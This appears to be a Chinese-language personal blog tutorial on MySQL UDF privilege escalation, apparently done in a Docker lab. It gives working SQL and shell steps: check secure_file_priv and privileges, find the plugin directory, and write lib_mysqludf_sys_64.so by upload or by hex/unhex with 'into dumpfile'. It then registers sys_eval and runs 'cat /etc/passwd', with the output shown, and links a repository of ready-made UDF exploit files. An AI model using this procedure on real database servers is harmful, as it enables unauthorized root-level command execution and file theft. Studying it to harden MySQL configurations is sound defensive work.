ORXIAIN ISLAND
博客 / BLOG POST
2025 - 2026
READING

数据库 - Mysql UDF提权

+

什么是

User Defined Function

它是MySQL的一个拓展接口,可以接受用户的自定义函数,添加的函数可以在SQL语句中调用。一般数据库的权限会比较高(root),所以执行函数的权限也是root,很适合提权。

原理

上传udf.dll或者udf.so到MySQL的插件文件夹,其中包含RCE的函数,然后加载之后直接调用函数即可。

限制条件

secure_file_priv为空,且可执行SQL语句。 用户拥有Insert_priv: Y Update_priv: Y Delete_priv: Y File_priv: Y权限

权限查询:select * from mysql.user where user = substring_index(user(), '@', 1)

在mysql5.5之前 secure_file_priv默认是空,这个情况下可以向任意绝对路径写文件.在mysql5.5之后 secure_file_priv默认是NULL,这个情况下不可以写文件

secure_file_priv相关

secure_file_priv 是 MySQL 中的一个系统变量,用于控制 MySQL 服务器对文件操作的权限,特别是与 LOAD DATA INFILE 和 SELECT ... INTO OUTFILE 相关的文件操作。它的主要目的是增强安全性,防止用户通过 MySQL 访问或操作服务器上的任意文件。

含义
空字符串 ('')允许文件操作在任意目录进行(不推荐,存在安全风险)。
目录路径限制文件操作只能在指定目录内进行(推荐)。
NULL禁止所有文件操作(最严格的安全设置)。
可以执行show variables like "secure_file_priv";来查看其值。
172.20.0.1:3306/		http://192.168.1.15:8089/index.php?route=/server/sql
您的 SQL 语句已成功运行。

show variables like "secure_file_priv";

secure_file_priv	/var/lib/mysql-files/	

How To Use?

首先查询软件所使用的架构(不是系统),不同的架构所用到的文件不同,

show variables like "%version_%";

查看MySQL版本:SELECT VERSION();

接下来准备udf.so koparmalbaris/MySQL-UDF-Exploitation: MySQL User Defined Functions Exploitation to RCE or PrivEsc Simple Cheat Sheet. 这个仓库里包含了很多现成的UDF攻击文件

插件文件夹查找:

show variables like '%plugin%';

上传至插件目录后运行

create function sys_eval returns string soname 'lib_mysqludf_sys_64.so'

它指定从插件目录中查找lib_mysqludf_sys_64.so并加载其中的sys_eval函数,并指定返回类型为字符串。

之后即可运行系统命令(为了测试换了个docker)

172.17.0.1:43306/		http://192.168.1.15:8089/index.php?route=/server/sql

   正在显示第 0 -  0 行 (共 1 行, 查询花费 0.0027 秒。)


select sys_eval('cat /etc/passwd');


root:x:0:0:root:/root:/bin/bash
bin:x:1:1:bin:/bin...	

那么以上是通过直接上传文件进行的演示,可以配合任意文件上传打打,如果没有这个文件上传呢?我们需要从SQL语句写入Hex数据生成文件。

进一步利用

原理: 将so的Hex数据经过unhex后导入数据库的一个表内(其实就是二进制),然后用导出语句到插件目录下的so文件内

首先要在本地获得到so的Hex数据,这里用linux的xxd实现 用hexdump了

hexdump -ve '1/1 "%.2x"' lib_mysqludf_sys_64.so > hex_udf.txt

-p代表原始数据

创建一个用来存放数据的表

use mysql;
create table udf (c BLOB)

运行

use mysql;
INSERT INTO udf values(unhex('7f454c46020101......000000'))

unhex里放Hex

这样就写入到表中了,如果交互式的sql语句不支持这样长度的输入,可能还需要进行多次写入拼接

导出表内数据

select c from mysql.udf into dumpfile '/usr/lib64/mysql/plugin/test2.so'

要是这里没改安全文件夹则会

#1290 - The MySQL server is running with the --secure-file-priv option so it cannot execute this statement

为什么上一节没有设置安全文件夹为空也可以运行呢? 原因是上节直接将so放置在了插件目录,也就是说并没有进行修改访问文件夹的操作。

接下来注册命令执行函数,如果已存在可以使用DROP FUNCTION IF EXISTS sys_eval;丢掉上次注册的

create function sys_eval returns string soname 'test2.so'

成功执行:

172.17.0.1:43306/		http://192.168.1.15:8089/index.php?route=/server/sql

   正在显示第 0 -  0 行 (共 1 行, 查询花费 0.0027 秒。)


select sys_eval('cat /etc/passwd');



root:x:0:0:root:/root:/bin/bash
bin:x:1:1:bin:/bin...	

如果遇到需要分次存放Hex的情况,则可将数据分别写入几个文件内,最后使用sql语句统一unHex:

select unhex(concat(load_file('文件1'),load_file('文件2'),load_file('文件3'),load_file('文件4'))) into dumpfile '/usr/lib/mariadb/plugin/udf.so'

需要注意的是这里数据是先通过unhex再拼接的,这意味着分段需要注意位置,当然你也可以先将所有文件内的数据复制到一个txt,再对它进行unhex,这样就不用担心十六进制转换的问题。

实战中如果遇到安全目录被限制的可以尝试直接上传到插件文件夹

Links

END